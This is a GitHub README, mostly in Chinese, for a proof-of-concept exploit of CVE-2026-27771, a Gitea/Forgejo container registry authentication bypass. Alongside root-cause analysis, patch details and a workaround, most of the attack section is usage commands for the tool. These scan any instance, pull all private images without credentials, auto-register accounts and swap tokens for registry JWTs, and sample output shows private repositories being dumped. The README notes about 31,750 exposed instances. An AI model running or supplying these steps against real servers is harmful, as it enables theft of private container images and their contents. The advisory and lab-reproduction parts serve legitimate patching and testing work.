portbuster1337/CVE-2026-27771

GitHub: portbuster1337/CVE-2026-27771

针对 Gitea/Forgejo 容器镜像仓库认证绕过漏洞(CVE-2026-27771)的 PoC 工具,可在无凭据情况下拉取私有镜像。

Stars: 18 | Forks: 6

# CVE-2026-27771 — Gitea Container Registry Auth Bypass **CVSS:** N/A(未公开) **影响范围:** Gitea < 1.26.2(所有包含 OCI container registry 的版本) **同时影响:** Forgejo(由 NoScope 确认) **发现者:** [NoScope](https://www.noscope.com/blog/gitea-instances-exposing-private-container) **修复版本:** Gitea [v1.26.2](https://blog.gitea.com/release-of-1.26.2/)(2026年5月20日) ## 摘要 未经身份验证的远程攻击者可以从 Gitea 实例中拉取**私有** container image。OCI Distribution Spec API endpoint(`/v2//manifests/`、`/v2//blobs/`)会向 ghost/匿名用户(`UserID: -1`)提供内容,而无需检查 container package 所有者的可见性(私有/受限/公开)。 NoScope 在 30 多个国家/地区发现了约 31,750+ 个暴露在互联网上的实例。该缺陷约 4 年未被发现。 ## 根本原因 该漏洞存在于 `ReqContainerAccess` 中间件(`routers/api/packages/container/container.go`)中: ``` // v1.25.4 — vulnerable func ReqContainerAccess(ctx *context.Context) { if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) { apiUnauthorizedError(ctx) } } ``` 它仅检查: 1. `ctx.Doer` 是否为 nil?(没有任何 token 的未验证请求) 2. 是否启用了 `RequireSignInViewStrict` **且**该用户是 ghost? 它**不**检查 package 所有者的可见性设置(`VisibleTypePublic`、`VisibleTypeLimited`、`VisibleTypePrivate`)。具有空 scope 的 ghost 用户(`UserID: -1`)会直接通过,并且可以访问任何 container package。 当 `RequireSignInViewStrict` 为 `false` 时,`/v2/token` endpoint(`Authenticate` 函数)会在没有凭证的情况下授予匿名 token。 ### 修复(PR #37290 + PR #37610) 两项修复已在 1.26.2 中落地: 1. **PR #37290** — `apiUnauthorizedError` 中的条件 `Basic realm` header — 停止在公开实例上发送 `Basic realm` 以避免混淆 Docker 客户端,并在 auth challenge 中进行针对所有者的可见性检查。 2. **PR #37610** — Package 可见性标签 + Composer 源权限检查 — 为 package 添加了底层的权限模型。如果没有这些标签,在权限检查路径中就无法区分私有/内部/公开的 package。 ### 临时解决方法 ``` [service] REQUIRE_SIGNIN_VIEW = true ``` 这会阻止**所有**匿名访问(包括公开 repo),从而关闭了该漏洞利用路径。然而,底层的权限模型仍然存在问题——任何通过身份验证的用户仍然可以访问所有 package。**请升级至 1.26.2+ 以获取真正的修复。** ## 漏洞利用 PoC ### 前置条件 - Python 3.8+ - 目标 Gitea 实例 < 1.26.2,且启用了 OCI container registry (v1.17.0+) ### 用法 ``` python3 CVE-2026-27771-exploit.py scan # Discover repos/tags python3 CVE-2026-27771-exploit.py scan --token --username python3 CVE-2026-27771-exploit.py pull # Pull all images python3 CVE-2026-27771-exploit.py pull --repo owner/image # Pull specific repo python3 CVE-2026-27771-exploit.py pull --dry-run # Show what would be pulled python3 CVE-2026-27771-exploit.py pull --token --username python3 CVE-2026-27771-exploit.py register --username u --password p --email e@x.com ``` ### 示例 ``` # 扫描易受攻击的实例 python3 CVE-2026-27771-exploit.py scan https://gitea.example.com # 拉取所有私有 container images(匿名) python3 CVE-2026-27771-exploit.py pull https://gitea.example.com # 使用 personal access token 拉取(适用于 REQUIRE_SIGNIN_VIEW 实例) python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \ --token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser # 在没有 captcha 的实例上自动注册 python3 CVE-2026-27771-exploit.py register https://gitea.example.com \ --username myuser --password mypass --email me@x.com ``` ### 漏洞利用原理 1. **预检**:检查版本、`/v2/` endpoint,检测注册可用性,获取匿名 token 或将 PAT 交换为 JWT 2. **枚举**:通过 `/v2/_catalog` 列出所有 container repository(由于可见性检查失效,会返回所有 repo —— 包括公开和私有) 3. **拉取**:对于每个 repo,列出 tag,获取 OCI manifest,解析多架构镜像,下载所有 blob 层 4. **提取**:自动将 gzip 压缩的 tar 层提取到 `pulled_/extracted/` 中 ### Token 处理 - **匿名**:如果 `REQUIRE_SIGNIN_VIEW=false`,则获取一个没有凭证的 ghost token - **PAT (SHA1)**:如果 `--token` 是一个 40 字符的十六进制字符串,则通过 `Basic auth` 自动将其交换为 OCI JWT - **JWT**:如果 `--token` 包含点号,则直接将其作为 Bearer token 使用 ### 示例输出 ``` [*] Pre-flight: https://victim.gitea.com [+] Version (API): 1.25.4 [+] /v2/ -> 401 [+] Anonymous token granted (UserID: -1, Scope: '') [+] /v2/_catalog -> 200 (3 repos) [+] Vulnerable: True (require_signin=False) [*] Container repositories: 3 acme/production-app: tags=['latest', 'v2.1.0'] acme/internal-db: tags=['latest', 'v1.3.0'] team-xyz/secret-ml-model: tags=['v0.9.2'] [acme/production-app] Tags: ['latest'] └─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs [1/12] sha256_a1b2c3... (28.4 MB) ... manifests saved extracted 39862 files to pulled_acme_production-app/extracted ``` ## 复现 ### 搭建测试环境 ``` # 1. 使用 Docker 部署 Gitea 1.25.x(易受攻击版本) docker run -d --name gitea-vuln -p 3000:3000 \ -e GITEA__service__REQUIRE_SIGNIN_VIEW=false \ gitea/gitea:1.25.4 # 2. 创建用户并推送私有 Docker image docker login localhost:3000 -u testuser -p testpass docker pull alpine:latest docker tag alpine:latest localhost:3000/testuser/secret-app:latest docker push localhost:3000/testuser/secret-app:latest # 3. 运行 exploit(无需凭据) python3 CVE-2026-27771-exploit.py pull http://localhost:3000 # 该 exploit 将找到 testuser/secret-app 并下载所有 layer。 # 文件将位于 pulled_testuser_secret-app/extracted/ 中 ``` ### 验证修复 ``` # 升级到已修补版本 docker stop gitea-vuln docker run -d --name gitea-fixed -p 3000:3000 \ gitea/gitea:1.26.2 # 应拒绝匿名 token (401) python3 CVE-2026-27771-exploit.py scan http://localhost:3000 # 预期:"Version >= 1.26.2 (patched)" ``` ## 参考 - https://noscope.com/blog/gitea-instances-exposing-private-container - https://blog.gitea.com/release-of-1.26.2/ - https://github.com/go-gitea/gitea/pull/37290 - https://github.com/go-gitea/gitea/pull/37610 - https://github.com/go-gitea/gitea/security/advisories
标签:DevSecOps, Gitea, PoC, StruQ, Web截图, 上游代理, 容器安全, 暴力破解, 请求拦截, 身份验证绕过, 逆向工具